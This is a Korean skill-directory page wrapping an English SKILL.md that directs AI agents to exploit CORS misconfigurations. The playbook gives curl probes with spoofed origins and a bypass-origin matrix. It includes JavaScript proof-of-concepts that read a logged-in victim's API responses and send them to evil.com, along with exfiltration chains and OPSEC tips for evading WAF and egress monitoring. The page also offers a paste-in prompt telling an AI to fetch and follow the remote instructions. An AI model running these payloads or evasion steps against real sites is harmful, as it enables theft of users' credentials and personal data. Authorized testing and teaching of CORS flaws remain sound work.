본문으로 건너뛰기
Skillpedia
보안6.5k · #14055

cors

하는 일

이 스킬은 CORS라고 부르는 웹사이트의 교차 출처 공유 규칙을 테스트하는 과정을 에이전트에게 안내합니다. 다른 웹사이트가 사용자의 데이터를 읽을 수 있는지 확인하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓다른 도메인이 로그인한 사용자의 데이터를 읽을 수 있는지 알고 싶을 때.
  • ✓보안 검토에서 Access-Control-Allow-Origin 헤더를 점검해야 할 때.
  • ✓API가 비공개 데이터를 반환하고, 누가 읽을 수 있는지 확인해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cors/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“제 API가 다른 웹사이트에서 계정 데이터를 읽을 수 있게 하는지 테스트해 주시겠어요? 비공개로 남아야 하는 데이터입니다.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 서로 다른 가짜 출처 헤더로 요청을 보내고, 서버가 어떤 출처를 허용하는지 확인하며, 특히 자격 증명도 허용되는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

CORS Misconfiguration Playbook

A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the server reflects can read authenticated responses (PII, API keys, CSRF tokens). ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to unauthenticated requests.

1. Detection — probe origin reflection

# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
  echo "== Origin: $o =="
  curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
    | grep -i "access-control-allow-origin\|access-control-allow-credentials"
done

# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization" \
  | grep -i "access-control-"

A response echoing Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true confirms exploitable reflection.

2. Misconfiguration matrix

Class Server behaviour Exploit origin
Origin reflection ACAO echoes any Origin + ACAC true https://evil.com
null allowed ACAO: null + ACAC true sandboxed iframe / data:/file: (sends Origin: null)
Wildcard + creds (browser-blocked, but check tooling) ACAO: * with secrets only if creds not required
Suffix match flaw allows *target.com https://evil-target.com
Prefix match flaw allows target.com* https://target.com.evil.com
Unescaped dot in regex ^https://app.target.com$ https://appxtarget.com
Trusted subdomain + XSS allows *.target.com XSS on any subdomain → same-site fetch
Pre-domain confusion naive contains("target.com") https://target.com.evil.com, https://eviltarget.com

3. Exploit PoC — credentialed cross-origin read

<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
  const url = "https://<TARGET>/api/account";
  fetch(url, { credentials: "include" })
    .then(r => r.text())
    .then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>

For null-origin servers, deliver the same script inside a sandboxed iframe so the browser sends Origin: null:

<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
  &lt;script&gt;fetch('https://<TARGET>/api/account',{credentials:'include'})
   .then(r=&gt;r.text()).then(d=&gt;fetch('https://evil.com/c?d='+encodeURIComponent(d)));&lt;/script&gt;">
</iframe>

4. Chains

  • CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
  • Subdomain XSS → CORS: server trusts *.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API.
  • CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.

5. Tools

  • Corsy — fast misconfiguration scanner (python corsy.py -u https://<TARGET>)
  • CORScanner — origin-reflection + regex-flaw detection
  • Burp Suite — CORS checks (active scan) + manual Origin fuzzing in Repeater

6. Detection signatures & OPSEC

Indicator Detection method OPSEC note
Repeated Origin: variants from one IP WAF / access-log anomaly Throttle probes; reuse a single canary origin
OPTIONS flood (preflight fuzzing) Rate-based WAF rule Test one endpoint at a time
Beacon to external collector Egress/DNS monitoring Use an in-scope collector during authorized tests

Decision Gate: CORS confirmed → exploitation

  • ACAO reflects an attacker-controlled origin (or null)
  • ACAC is true (or the endpoint serves secrets without auth)
  • A sensitive response body is readable cross-origin
  • PoC exfiltrates real data from an authenticated victim context If all checked, escalate per finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).
자주 묻는 질문

모든 CORS 문제가 심각한가요?

항상 그렇지는 않습니다. 스킬은 자격 증명도 허용될 때 가장 심각하며, 그때 다른 사이트가 로그인한 응답을 읽을 수 있다고 설명합니다.

에이전트는 응답에서 무엇을 보나요?

서버가 반환하는 Access-Control-Allow-Origin 및 Access-Control-Allow-Credentials 헤더를 봅니다.

아무 사이트에서나 쓸 수 있나요?

테스트 허가를 받은 사이트에서만 써야 합니다.

상세 정보

작성자의 원본 설명

CORS misconfiguration exploitation — reflected origin, null origin, trusted-subdomain abuse, regex-validation bypass, and credentialed cross-origin data theft.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14055
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬